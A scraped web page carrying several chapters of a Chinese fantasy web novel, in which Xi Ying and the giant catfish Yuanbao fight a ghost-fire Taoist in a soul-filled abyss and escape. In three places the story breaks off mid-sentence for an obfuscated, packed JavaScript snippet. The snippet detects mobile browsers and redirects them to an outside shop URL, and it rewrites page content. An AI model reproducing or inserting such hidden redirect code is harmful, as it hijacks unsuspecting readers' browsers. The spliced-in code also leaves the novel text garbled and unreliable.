奚萦轻轻“嘶”了一声,抬手揉了揉被撞得生疼的右肩,又摸了摸身下滑不溜秋的“地面”,正想找张火符点燃瞧瞧这是个什么东西时,上半身忽然猛地往后一仰,阴冷至极的风立马啪啪打在脸上,她只能撑着胳膊勉强稳住自己,脑海中冒出个不可思议的念头,她似乎,被什么东西载着飞起来了? 指尖下意识用力一抠,手底下光滑黏腻的东西忽然缩了缩,像是被人挠到了痒痒肉。 奚萦恍然大悟,原来是那条傻呆呆的大鲶鱼啊。 这家伙怎么回事?忽然改邪归正来给自己当坐骑了? 可惜这鱼也是个不会说人话的笨蛋,奚萦没办法跟它沟通,只能鼓励似的拍拍新得的坐骑,开始自说自话:“元宝,你知道厄渊是怎么回事对吧?要不你抽空学点人话,或是学学写字,告诉我这底下藏着什么秘密?” 元宝不知道自己已经得名元宝,也没回应司主大人这荒唐的要求,只闷头在黑暗中赶路,于是奚萦继续单方面跟它沟通:“你这是要带我去哪儿?别的事先放放,当务之急是抓住那个蓝衣道人,顺便再去看看厄渊,哎,你能找到那家伙吗?” 她一边说着一边从储物袋中找东西,原本想燃张火符,又担心动静太大,万一点燃什么不得了的玩意儿将自己炸了就尴尬了,挑来挑去,最后还是将司主令扔出去当灯笼用,顺便试试能不能用司主令指挥元宝。 奚萦自小便听无念说,司主令是妖界至宝,可号令万妖,可这枚平平无奇的令牌到底怎么号令万妖,无念没演示过,也没教过奚萦,她暗地里怀疑无念自己其实也不会用。 后来无念离世前将司主令交给她,她本以为会有什么滴血认主、神魂结契之类的高级认主仪式,或是需要自己与令牌大战三百回合,以高绝的修为、过人的心智、令人折服的风姿彻底俘获这小东西,结果她什么都没做,令牌放到她掌心时便金光大盛,奚萦的名字在那瞬间被蚀刻于令牌上,她不痛不痒地成为了这妖界至宝的新主人,妖务司的司主大人。 至于这东西的用途,目前奚萦摸索出来的只有捕捉妖族气息和震慑妖族心神这两种,有点用,但实在不多,在她众多属下和法宝之中只比傻狗富贵儿稍稍强那么一点,完全配不上它妖界至宝、司主身份象征的高贵头衔。 所以这会儿至宝沦为灯笼之流,奚萦也丝毫不觉得心虚。 奚萦不心虚,大鲶鱼元宝被金光一照,却还是忍不住哆嗦了一下,飞行速度都下意识加快了几分,差点将背上自封新主人的家伙甩个趔趄。 借着司主令这点微弱的金光,奚萦试图看清当前所在的环境,然而无论她用多少灵气加强目力,放眼望去除了黑暗还是黑暗,这地方空旷得像没有尽头的虚无,传说中的无间地狱。 可一路 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14232570|151355||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过来,奚萦从未察觉到空间异动,按理来说此地还是跟先前所在的血湖处于同一空间才对。 为了验证这个猜想,奚萦神识一动,轻声唤道:“富贵儿?” 熟悉的声音立马从识海传来:“奚萦!你没事吧?” 很好,确实还在同一处空间,奚萦不欲分心多说,快速应道:“没事,先不说了。” 景辰急忙道:“那你小心,别逞强,我等你回——” “嗯嗯嗯。” 敷衍完啰嗦小狗,奚萦立马掐断两人联系,恰在此时,元宝忽然又加速了,这次是一个猛子往下扎去,她整个人顿时原地起飞,差点就跟自己的新坐骑分头行动。 快速稳住身形后,奚萦落回元宝背上,指挥司主令往下方引路,同时抠着元宝的痒痒肉跟它商量:“小乖乖啊,能跟你家司主说说这是要去哪儿吗?你别是在这破地方飞着玩儿吧?” 回应她的,是一声沉闷悠长的鼻音,奚萦哪里听得懂,抓耳挠腮一阵,开始认真考虑抛弃这头刚到手还没半个时辰的坐骑,然而还没等她痛下决心,眼前忽然一亮,星星点点的光芒骤然闯入视野。 奚萦下意识抬手挡了挡,待看清眼前一切时,她瞬间屏住了呼吸。 成千上万条墨黑色的河流织成了杂乱无章的巨网,笼罩住整个地底世界,河中漂着一朵朵幽蓝鬼火,密密麻麻不可计数,随着河水一直流向看不见尽头的黑暗深处。 若不是清楚地知道自己一直在往地下深入,奚萦都要怀疑是不是闯入了高悬九天的银河之中,可银河美丽又圣洁,这片鬼火黑河却诡异得让人心里一阵阵发寒。 待离得更近一些时,奚萦才看清鬼火映照下的河水中,竟是密密麻麻的魂魄在挣扎翻滚,而所谓的河水,也并非真正的水,这东西更像是无数碎得失去意识的魂魄残渣层层叠叠挤在一起,被尚有余力挣扎的那些同伴带着起起伏伏,远看就如同河水在流动一般。 “这是,厄渊?还是地狱呢……” 刚揭开了一层迷雾,却又陷入了更大的的谜团,奚萦一时竟有些茫然无措。 如今广为流传的幽冥地府、轮回转世之说中,佛家有十八层地狱、六道轮回,道家有十殿阎罗、九幽地狱,以及其他诸如枉死城、忘川河、奈何桥、孟婆汤之类的传说故事,就连奚萦自己也会招鬼驭鬼的术法,相信人死后魂归地府,可以再入轮回投胎的说法。 可是要说司掌轮回的地府究竟是什么样,她自己说不清楚,也从听过确切统一的说法,更没有人或妖真正去过地府或是见过地府派来人间拘押亡魂的鬼差,就像修行之人孜孜追求的得道成仙一般,传说五花八门,信众各有拥趸,却没有任何证据能证明其真实存在。 长生与死亡的尽头,皆是生灵无法触碰的另一个世界。 而现在,这个世界好像真真切切地出现在她眼前了。 33. 聪明又可爱的小元宝 奚萦震撼无比,脑海中各种念头翻腾叫嚣,一时失神,脚下忽然又是一个趔趄,元宝沉闷的怒吼声在虚空中飘远,整条鱼疯了似的朝底下的厄渊冲去。 “喂,呆头鱼你下次加速前提醒我一声行不?坐骑可不是这么当的……” 奚萦顺手捞起一条鲶鱼胡须当做缰绳,青玉剑从袖中滑入掌心,全神戒备的同时,还不忘抽空教元宝一点坐骑的自我修养。 越靠近鬼火飘摇的厄渊,奚萦越有种心惊肉跳神魂俱震的感觉,幽蓝光芒中挣扎的残魂有些甚至还能看清五官,他们的嘴咧成不正常的弧度,很快又被扑上来的同伴拖回河中,有的撞上鬼火,滋啦一下烧成灰烬,纷纷扬扬落回河中,成了污浊河水的一部分。 河水无声流淌着,奚萦却总觉得自己耳膜都快被哭喊尖叫声撕裂。 这种场景若只有几个几十个,奚萦都能淡然看戏,但数以亿万计的残魂在眼前疯狂挣扎又化为污水,饶是再坚毅的心智也难免动摇。 她缓缓吐出一口浊气,想要闭眼缓一缓,然而视线尽头忽然出现一点可疑的青蓝影子。 是那个扛着青石门的蓝衣道人! 奚萦连忙使劲扯了扯元宝的胡须,指着青蓝影子的方向正要说话,大鱼已经调整方向义无反顾冲了过去。 “很好,就是那边!”她只好顺口夸赞一句。 元宝速度极快,几个呼吸间就已经追上那人,奚萦看清眼前情景时,嘴角忍不住抽了抽。 青石门像竹筏似的颤巍巍漂在厄渊上,水中那些残魂疯了似的往石门上爬,道人则盘腿坐于石门正中,手里拿着根擀面杖似的短木棒迅速抽打着爬上来的残魂,忙得不可开交。 若是时间足够的话,奚萦定然要好整以暇坐在元宝背上看戏,等这道人累得半死了再动手捡便宜,可惜如今没时间给她看戏,双方相距约莫百余丈时,蓝衣道人也发现了他们,猛地抬头,露出一张平平无奇的脸,眼中火热的光芒差点将奚萦闪瞎。 这并不是夸张的说法,是真有火热的光芒,蓝幽幽的鬼火。 奚萦心里忽然冒出个念头,这道人莫非是厄渊中的鬼火所化? 与此同时,她手中剑已然飞了出去,直取道人胸前要害。 元宝也没闲着,大嘴一张,咆哮着朝道人咬了下去。 双重夹击之下,那道人竟然不闪不避,迎着鱼嘴和剑猛地张开双臂。 “元宝小心!” 直觉不妙,奚萦扯着鲶鱼须,用尽全力将这头壮如山岳的大鱼给扯歪了几分,鱼嘴堪堪擦过道人的衣袍,而就在这一瞬间,道人整个炸裂开来,化作一团巨大的幽蓝鬼火扑向元宝。 刚刚才亲眼见过鬼火将残魂烧成渣的场面,奚萦岂敢让元宝碰到这玩意儿,情急之下只得一脚踹上鱼头,同时剑气暴涨,挡在鬼火和鱼头之间,勉强拦下这一击。 元宝冷不防连挨了两下来自队友的痛击,忍不住低吼一声,带着点不解和委屈,然而奚萦完全没多余的心思关注它,剑与鬼火相撞的瞬间,她识海剧痛,一瞬间魂魄仿佛都被点燃了,愤怒、焦躁、痛苦、悲伤、恐惧等各种负面情绪一拥而上,几乎吞没她所有理智。 奚萦眼前一黑,喉间腥甜,一口血喷出,整个人跟着摇摇欲坠,强撑着最后一点清明,她抬手一招收回青玉剑,又拍了拍元宝示意它飞高一点。 元宝有些不情不愿地大吼一声,似乎也?那道士所化的鬼火,甩着尾巴朝上飞去。 鬼火紧追过来,然而只飞离河面约莫十来丈便缩了回去,重新化作蓝衣道人的模样,站在青石门上面无表情地看着上方的一人一鱼。 奚萦识海的剧痛勉强缓和了一些,又见道人似乎无法脱离厄渊,这才松了口气,低头去看手中青玉剑,原本青光莹莹的剑身黯淡了许多,剑柄狼头还被烧出两块乌黑的印子,奚萦顿时心疼得呼吸一窒,小心翼翼摸了摸剑柄,喃喃道:“抱歉啊富贵儿,是我大意了。” 青玉剑没什么反应,但岸上的景富贵儿已经疼得差点晕死过去。 他十分听话地一直躲在奚萦指定的地方,奚萦掐断了两人之间的神识联系,他无法获知湖底的情况,只能打起精神关注周围动静,好在周围也没什么特别的动静,先前那番变故似乎将所有黑炭小妖都吞了个一干二净,只是空间碎裂的咔吱声越来越密集,像催着人赶紧离开的鼓点,让景辰心中的忧虑越来越盛。 就这样紧张兮兮地等了许久,忽然一阵剧烈的头疼袭来,他整个人一激灵,差点当场驾崩。 好在这头疼已经与他相伴近二十年,是最熟悉的老对手,他太知道如何忍耐过去了。 景辰靠在背后土坡上,侧身半蜷起身子,小臂撑住地面,尽量保持头不动,咬着牙开始强迫自己回想蓬莱宫寝殿床帐顶的宝相花纹,默默数着花瓣,将时间一点点挨过去。 奚萦虽然猜到狗子可能会被牵连,但她还活得好好的,剑也不曾断裂崩毁,想来总不至于要了他狗命,遂无暇分心多想,专心应对眼前的麻烦。 蓝衣道人是鬼火所化,鬼火能灼烧魂魄伤人识海,一般来说阴阳相克,魂魄属阴,鬼火当是属阳才对,但厄渊这地方处处都是阴戾至极的气息,如何生得出至阳之火?何况方才短暂接触给奚萦的感觉也是阴邪无比,要克制那道人的话,还得是至阳之物才行。 至于鬼火灼烧魂魄,奚萦仔细琢磨,那些残魂沾上鬼火便瞬间成了渣,说是灼烧也可,说是吞噬好像也行?莫非鬼火便是强大的残魂吞噬无数同类形成的? 想到“吞噬”,奚萦的目光不禁投向道人当做竹筏的那扇青石门。 那是吞海鱼舌头做的石门,吞海鱼可吞吃万物,若论吞噬之道,这家伙无疑是祖师爷级别的存在,但吞海鱼的舌头却跟厄渊中魂魄残渣化成的河水相安无事,自己等人能直接通过这扇青石门,也是因为被许聪用黑雾包裹住了。 没错,许聪身上那古怪的黑雾其实就是厄渊中的魂魄残渣。想到这里,奚萦下意识搓了搓手背,残留的黑雾被搓下来,缓缓飘回厄渊中。 道人仍旧盘腿坐在石门上,飞快敲打着试图跟他抢地盘的残魂。 他没有来追自己和元宝,似乎是因为不能彻底脱离厄渊,而之所以要抢那石门,或许正是因为石门可以克制厄渊,又有吞噬之能,于他而言是再好用不过的法宝了,可惜他被自己打落湖底重回厄渊,若不是以青石门做筏的话,恐怕也跟许聪以及那些化为污水的小妖一般,重新成为厄渊上无知无觉的一朵鬼火了。 但他若是鬼火所化的话,为何不直接烧了那些残魂,这般费力地一个个敲打总不至于是因为好玩吧? 莫非,吞了太多残魂的话,会发生什么不妙的事? 将事情大致理清后,奚萦伸手挠了挠元宝的痒痒肉,小声问道:“元宝啊,你就是吞海鱼对吧?那扇青石门是你的舌头?” 元宝嗷一声,似乎在回答奚萦的问题,可惜她听不懂,于是按照惯例自行翻译解读:“果然如此啊!啧,早已绝迹千年的吞海鱼原来就长这丑模样吗?咳咳,算了不说这些,元宝你是不是想把舌头抢过来?” 元宝又嗷了一声,比先前那声响亮了许多,也不知道是在反驳奚萦说它丑还是在表示的确想抢回舌头,奚萦就当后一种理解了,当即跟它小声密谋起来:“这样,你去吸引那鬼火道人的注意,我趁机帮你抢回舌头怎么样?” 她嘀嘀咕咕说了许多,末了又道:“你要是听懂了的话,就嗷一声,要是没听懂的话就嗷两声。” 元宝嗷了一声,十分笃定。 奚萦那个感动啊,暗自发誓再也不吐槽这大头鱼笨了,这分明是又聪明又可爱的小元宝嘛! 一人一鱼商定计划,当即行动起来,元宝一个俯冲,带着奚萦径直撞向厄渊中飘着的道人。 道人见状,不慌不忙站起身,面无表情地看着天上飞来的大鱼,缓缓张开双臂。 然而元宝很快仰头调整了方向,堪堪只到道人化火时能触及的距离之外,开始绕着他挑逗似的转圈。 道人平静地看着这条气人的鱼,没有多余的动作,但他这一分心,底下的残魂们已经有好几只爬上了青石门,刚一触碰到道人鞋面便化作一点灰烬飘散了。 元宝的脑袋这时再次转到道人头顶,猛地一张大嘴,摆出一副准备吃人的架势。 道人瞬间化作幽蓝鬼火扑来,然而还没碰到鱼嘴,头顶忽然金光大声佛音缭绕,蓝火与金光一撞,倏然黯淡了两分,道人察觉不对下意识就要退缩,但此时青石门附近的残魂却忽然发疯似的尽数朝道人扑去,原本平静流淌的厄渊翻起浪来。 下坠的鬼火瞬间吞没无数残魂,幽蓝的火焰陡然大亮,其势之盛,几乎可吞噬天地,漂浮在厄渊之上的无数鬼火也跟着摇曳起来,不知是在害怕还是兴奋。 吊在元宝尾巴上的奚萦差点被暴涨的鬼火燎到,赶紧催促元宝飞远一点,暗忖这把柴添得差不多了,遂操纵招魂幡,勉力指挥着厄渊中的残魂将青石门往远离道人的方向推动。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14232571|151355||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 但残魂终究是残魂,所剩理智实在不多,奚萦费了老半天劲儿才将石门勉强推出十丈远,堪堪离开那道人所化的鬼火范围,元宝见状咻地一下冲过去,嗷呜一口将石门吞下,高兴得连连甩尾巴。 然而他们只高兴了三次甩尾的时间,不远处被补过头的鬼火道人忽然发出一声凄厉的惨叫。 奚萦回头,看到极其惊悚的一幕。 虚空中忽然出现一只巨大的手,一把抓向熊熊燃烧的鬼火道人,奚萦用来控制道人的菩提念珠像朽木一般瞬间被大手捏成碎渣,原本气势高涨得似乎能燃尽一切的幽蓝鬼火被一把抓住,一眨眼就萎靡成了发潮的火折子,哆嗦着蜷成一团。 在这双巨手面前,奚萦觉得自己,甚至比山还壮的元宝也渺小得像蝼蚁,轻轻一捏便粉身碎骨。 蝼蚁尚且偷生,奚萦自然不是等死的性子,大手出现的瞬间便使劲儿拍了元宝几下,催促它赶紧跑。 元宝还有些不情不愿,奈何奚萦打鱼实在挺疼的,只好卯足了劲儿往远处飞,好在那只手似乎只想抓鬼火道人,根本没管逃命的一人一鱼,目标到手便渐渐变得透明起来。 然而没等大手消失在虚空中,那簇被抓住的幽蓝鬼火陡然爆发出极其刺眼的光芒,嘭地一声炸开,化作细碎的残渣落回厄渊。 大手被炸得缩了一下,掌心出现一个血洞,鲜血顺着手指一滴滴落入厄渊,引得残魂纷纷上前争食。 那手的主人似乎也没料到道人竟如此刚烈,这下捞了个空,怎能不气,一气之下直接抬手扇向此地两个不速之客。 跟鬼火道人自爆的威力比起来,这一巴掌才叫真正的毁天灭地,掌风还未触到时,奚萦就听见空间崩毁的咔嚓声不断响起,她不敢想象这一巴掌真抽到自己或元宝身上会是什么结果,粉身碎骨或许都算是轻的,能残留一点魂魄化作厄渊的一份子恐怕都谢天谢地了。 情急之下她赶紧以神识联系待命的景辰,然而刚一动念,识海便是一阵剧痛,先前被鬼火灼烧魂魄那一下实在伤得不轻,但她也顾不得这些,勉力唤了两声富贵儿,察觉到他神识波动后赶紧道:“快,用破山符打开空间通道!” 景辰被头疼折磨得精神萎靡,收到奚萦的消息先是一喜,接着便倒抽一口凉气,也顾不上询问情况,强撑着起身从储物袋中翻找出破山符,挤出所剩无几的那点灵气,拼了老命将符点燃。 空间通道很快打开,但这一下也让本就在缓慢碎裂的空间不堪重负,远处的河床开始扭曲陷落,本就成了漏斗状的血湖也崩裂开来,长出一道道巨大的地缝,山石泥土滚落,簌簌填进地底,血水漫灌,几乎眨眼间便淹到景辰所在的土丘。 “奚萦,空间通道打开了,你快来。” 对面沉默了片刻才传来奚萦的声音:“你先走,我稍后就来。” 她声音不如往常沉稳,细听之下还有点微微的颤抖,景辰察觉到事情的严重性,开始天人交战。 作为大雍的天子,他其实根本没有冒险的资格,从小到大几乎没离开过皇宫几次,且每次都是在重重护卫之下,他身边的那些侍卫,比如张谦、王朗以及许多他根本叫不出名字的人,景辰毫不怀疑他们愿意用自己的性命换他平安,无论是教他治国之道的大儒还是传他皇位的父亲都告诉他,千金之子坐不垂堂,他的性命是这天底下最宝贵的东西,他必须好好保重自身,否则愧对景氏列祖列宗,愧对满朝文武,更愧对天下百姓。 景辰从前是个懂事的储君,现在也尽量做个懂事的皇帝,记事起的每一天都在努力跟头疾斗争,积极配合太医治疗,就算喝药如喝水,扎针扎得浑身上下没几块好皮他也从不抱怨从不逃避,他一直拼了命地保重自身,拼了命地争取活得长久一点。 但被头疾折磨得无法入睡的无数个夜晚,把宝相花的花瓣数了一遍又一遍的枯燥夜晚,景辰其实都不太想活着。 活着太痛苦了啊,这种日子到底有什么活头呢? 揉着暴跳不休的太阳穴,景辰坐回原地,忍了片刻后哑声道:“我等你来,你不来的话我就不走。” 奚萦啊,这女人虽然大多数时候都很可恶,可她也是治好了他头疾的救命恩人,是他这二十年来体会过的唯一一点新鲜乐趣,没了她的话,一切又会回到从前那样吧…… 那样的日子啊,还有什么好活的呢? 奚萦似乎轻叹了一声,终究没再说什么,景辰也像没事人似的坐在原地等着,眼前天塌地陷,但他一点也不觉得害怕。 34. 我的狗呢? 奚萦看到固执守在原地的落寞身影时,不禁暗自感慨,自家狗子虽然傲娇洁癖嘴碎啰嗦胆小废物,但忠心实在可鉴日月啊,出去后多奖励他几条裤衩,换着穿! 不过现在可没时间奖励小狗,那只可怖的巨手没能抓住奚萦和元宝,索性直接在厄渊中搅起风浪,一瞬间鬼火暴涨残魂嘶吼,死亡织就的巨网将笼罩天地,将触碰到的一切物事吞没。 奚萦好几次都险些被鬼火燎到,亏得元宝体质特殊一直在后面挡着,她心里发沉,实在无法分心多言,此时见到狗子也不多话,上前将之一把拉起,闪身飞入头顶打开的空间通道。 剧烈的头痛让景辰连说话的力气也没有,只勉强抬头看了奚萦一眼,伸手抓住她胳膊,示意她将自己衣领放开,身高八尺的男人被拎鸡崽似的拎着,丢他的脸费她的劲儿,实在不妙。 元宝紧跟在两人身后,然而它体型实在太大,强行挤进空间通道后立马就有令人心惊肉跳的碎裂声响起,大鱼身形一滞,心虚地张嘴将甩来甩去的胡须咬住。 奚萦没留意到这些细枝末节,轻身术催到极致,几个呼吸后,终于看到上方出口,她用力一挥手,将胳膊上吊着的狗子直接甩了上去,再弯腰去抓元宝的胡须,结果抓了个空。 清脆的碎裂从通道末端传来,奚萦回头去看,却见一朵又一朵疯狂跳跃的幽蓝火光从鱼尾巴底下冒了出来。 “元宝!” 她下意识叫了一声,其实也不知道是该让它赶紧上来还是再坚持一下千万别让厄渊泄露。 奚萦从不畏惧以命相搏,当年从焚骨山的岩浆中救回孙胡时她差点就死了,后来被无念黑着脸嘲讽一身蛮勇不堪大用,她却半点不放在心上,若是眼睁睁看着给自己指过路的小猴子去死,那她还当什么司主,干脆抢了离人谷老乌龟守大门的位置算了。 但此时却不是她以命相搏就能解决,身上唯一一件能勉强克制厄渊鬼火的佛珠已经毁了,她自己上的话纯粹就是给鬼火送菜,她死了倒是一了百了,若挡不住厄渊,恐怕整个人间都将化作炼狱。 唯有元宝似乎不太畏惧厄渊,残魂所化的黑水伤不了它,鬼火落在它身上也像是在挠痒痒,让它留下堵住厄渊,是最有效的办法。 在奚萦犹豫的瞬间,元宝回头看了她一眼,它长得实在不怎么好看,黑黢黢脏兮兮一颗大头,眼睛却小得不仔细找根本找不到,两条长长的胡须更是将它衬得像个可怕的老头,大嘴一咧,满嘴尖牙泛着渗人的寒光,这模样与其说是在笑,不如说是威胁要吃人。 丑兮兮的大头鱼留下一个吃人般的笑容后,义无反顾转身扑向奔涌而来的厄渊。 它嘴巴张大到极致,下颌骨都似乎快要跟脑袋分家,一条生满倒刺的恐怖舌头像割麦子的镰刀般扫过丛丛鬼火,大力一卷吞入腹中,不知道的还以为是在享美味的小鱼小虾。 被元宝疯狂吞吃过几次后,涌入空间通道的厄渊鬼火少了许多,但元宝的舌头上也有好几处被灼烧的焦黑痕迹,显然这些鬼火并非完全伤不了她。 奚萦心念一转,将招魂幡朝元宝扔了过去,勉强将厄渊中的残魂镇压一二,这时头顶又传来一阵吵嚷,奚萦抬头一看,对上一双眼尾挑起的半眯狐狸眼和一双带着点恼怒的瑞凤眼,两颗脑袋正互不相让地挤来挤去。 奚萦大喜:“狐狸!有什么克制阴邪鬼物的宝贝赶紧拿出来,再布个阵将此地空间彻底封锁!” 一道略有些粗粝的男声漫不经心道:“一见面就要宝贝,之前欠本堂主的三万两千零二十七枚灵石你打算什么时候还?” 奚萦顿时气得大骂:“封峻你个丑狐狸再敢罗里吧嗦耽误时间的话信不信老娘现在就出去划花你的脸!” 封峻被骂得闭了嘴,一阵窸窸窣窣的动静过后,头顶落下一堆佛珠、佛像、木鱼、化缘钵之类的佛家宝物,狭窄的空间通道内顿时金光闪耀佛音渺渺。 奚萦随手将东西一卷,一股脑儿全往下方元宝所在之处扔去,大喊道:“元宝快别吃了,赶紧走!” 封峻给的东西显然不是大路货,刚与鬼火一接触,幽蓝色便明显黯淡了几分,原本几乎将元宝包裹住的残魂也纷纷退却,元宝趁机摇着尾巴朝奚萦飞来。 奚萦还没来得及松口气,事情再次拐往不妙的方向,元宝刚挤了半个脑袋进来,整条空间通道忽然咔嚓一声碎裂了。 光滑圆润的大鱼脑袋随着空间崩碎扭曲成古怪的形状,似叹似哭的一声呜咽断成细碎残破的杂音。 奚萦不甘心,努力伸手想要去扯那条被她当成缰绳拽来拽去的胡须,然而指尖却只触到一股几乎冻裂骨头的阴冷,魂魄燃烧的剧痛沿着手臂一路往上,烧光了她最后一丝清明,恍惚之中有人大喊她的名字,有人死死抓住她的肩膀。 似乎还有,还有鱼尾巴轻轻拍在腿上,最后将她往上努力托了一下。 * 再次醒来时,奚萦发现自己正躺在一处灵气充沛的温泉中,泉水轻轻荡漾,温柔地抚过四肢百骸,一只毛绒绒的爪子不轻不重地帮她按揉着太阳穴,偶尔偷懒戳戳她的鼻子或是摸摸她的耳朵,若不是识海痛得快要裂开的话,这当真是顶顶好的享受了。 “司主,您醒啦?头还疼吗?小舅舅说您伤了魂魄,差点就死了呢!呜呜呜司主您可别死呀,寒酥舍不得您呢……” 听到这细细碎碎的念叨,奚萦都想干脆闭眼继续装昏迷算了,缓过一阵刀劈斧砍似的头痛后,她费力睁眼,往身旁哼哼唧唧的地方看去,只见一只浑身雪白的圆球,哦不,雪白的狐狸正蹲在温泉池边抹眼泪,身上的毛发干一块湿一块的,不知道是哭的还是玩水玩的。 “寒酥啊,快别哭了,吵得我头疼……” 小狐狸寒酥抽噎着抬头,露出一双溜圆的大眼睛,又伸出爪子去摸奚萦的脸,奚萦任由她摸,继续问道:“你小舅舅在哪儿?” 寒酥歪着脑袋想了想,摇头道:“寒酥不知道呢。” 奚萦叹气,抬手揉了把狐狸脑袋,吩咐道:“小笨蛋,去帮我拿衣服过来。” 圆脑袋被揉成扁脑袋寒酥也没生气,反而十分高兴地蹭了蹭奚萦的脸颊,变成个十来岁的小姑娘,蹦跶着去外间帮她拿衣服了。 奚萦从温泉池中起身,顺手拿了毛毯裹住水淋淋的身体,往池边躺椅上一躺,揉着太阳穴开始回忆昏迷之前发生的事。 一想到元宝她就头疼得愈发厉害,空间崩毁的力量不可小觑,饶是这家伙再皮糙肉厚定然也受伤不轻,若它没有出来的话,也不知道会飘去虚空何处,会不会又被人抓住割了舌头…… 至于厄渊的事,想来封狐狸已经处理妥当了,否则也不会这般好心给自己安排灵泉养伤,甚至还让小寒酥来照顾。 对了,富贵儿呢,她的狗呢? 她下意识就想通过神识联系狗子,结果刚一动念识海便传来剧痛,她眼前一黑差点当场厥过去,只好放弃这个念头。 好在寒酥很快抱着衣服回来了,奚萦赶紧问道:“小寒酥,看到我家富贵儿了吗?就是一条小白狗,呃,也可能是条小白脸…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14232572|151355||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 寒酥一边帮她穿衣服一边认真道:“寒酥没见过小白狗呢,小白脸是什么呀?” 奚萦一点也没有教坏小孩的自觉,穿好衣服揽着后寒酥的肩膀往外走,一脸高深道:“比你小舅舅俊的、公的、年纪小的,都可以叫小白脸。” 寒酥恍然大悟并总结陈词:“所以我小舅舅是小黄脸吗?” 奚萦大笑起来,一道满含怒火的男声从远处飘来:“小崽子没大没小,信不信我让你娘打你屁股扣你鸡腿?还有你,多大个人了,跟小孩说这些也不害臊!” 寒酥吓得咻一下变回狐狸,慌不择路跑了,边跑边哭唧唧地认错:“小舅舅对不起,以后我一定假装自己是只瞎狐狸,一定看不到你脸黄……” 封峻顿时气得声音都颤抖了:“臭丫头给我滚回来挨打!” 奚萦看了一场狐戏,头疼都缓解了几分,一路笑着穿过小院来到一棵巨大的芙蓉树下,嫣红粉白的芙蓉花已开到极致,落英纷纷,与树下一道同样艳丽夺目的身影交相辉映。 封峻懒洋洋躺着,见了奚萦也不起身,反倒冷哼一声,随手拈起一朵落花朝她砸去,骂道:“一天天的不是在外面瞎搞胡搞就是在我家小孩面前信口开河,司主大人真是宵衣旰食励精图治啊!” 奚萦上前踹了踹椅子腿,哼道:“少废话,快把我家富贵儿交出来,还有厄渊的事你怎么处理的,元宝,就是那条大鱼,它怎么样了?” 封峻起身,终于露出那张被自家外甥女称为“小黄脸”的脸,奚萦顿时捂了捂发疼的眼睛,十分夸张地大声叹气。 唔,小孩子的确实诚得很,这脸上虽敷了一层质地极好的妆粉,可脖子上露出的皮肤完全跟脸两个颜色,显然这就不是只白狐狸。 至于长相嘛,恐怕就算小寒酥昧着良心也不敢称其为小白脸,这略有些棱角分明的刚硬脸型,努力睁大却仍像是没睡醒般半闭着的狭长眼睛,若是换身短打,抗把大刀,直接去劫道也毫不违和,偏偏他非要勉强自己,簪花敷粉穿红着绿,若要奚萦来说的话,那就是男扮女装的死变态。 当然,封峻肯定是不会承认的,狐狸哪有不爱美的,他只是阴差阳错投身成稀罕的藏狐,又倒霉催地没点亮术法天赋而已。 封峻见奚萦如此嫌弃自己,恨得丢了她好几个白眼,没好气道:“你的剑收在储物袋里,丢了可不关我的事,别想趁机诬赖我的好东西!那田庄我已经布下阵法封锁起来,短时间内不会有事,待找齐几件布阵的材料后再去加固一下便可,管它什么黄泉厄渊的都别想跑出来。至于你新收的那丑鱼,那家伙倒是有几分本事,如今正在地底帮我稳固阵法呢,它皮糙肉厚的,一点小伤算不了什么。” 奚萦松了口气,往旁边另一把椅子上一躺,揉着太阳穴缓缓道:“那就好,那就好……唉不是,我的剑化灵了呀,就是跟你头挤头的那个,你没把他带回来?” 封峻蹙眉,语气变得有些飘忽:“头挤头那个,那个黑炭吗?唔,那黑炭叽叽歪歪烦人得很,我就随手扔了……” 奚萦噌地一下跳起来,扯着封峻的领口怒吼道:“扔了?扔哪儿了?!” 封峻吓得直缩脖子,哆嗦道:“就,就扔田里了啊,你,你要回去捡吗?” 奚萦气得踹了他一脚,转身就走。 一个时辰后,荒无人烟的稻田旁,奚萦拎着一只灰黄色狐狸边抽边骂:“你这混账玩意儿就这么把我的狗扔了?已经扔了三天了?!你莫不是当妖当得不耐烦了,想改行去成衣铺子当镇店之宝?” 35. 狐狸和狗的仇怨 把黑心狐狸狠揍一顿后,奚萦拿出青玉剑,试着直接召唤富贵儿,然而本命法宝与主人之间结的乃是神魂契,她这次被鬼火灼伤魂魄,识海遭受重创,神识稍动便是一阵剧烈的头痛,险些一头栽进稻田里,无奈只得暂时放弃。 封峻见奚萦撑着额头气得说不出话来,夹着尾巴默默退了好几步,小心翼翼道:“你,你也别太担心,雍都人不吃狗肉,雍都妖也遵纪守法,不会出事的……” 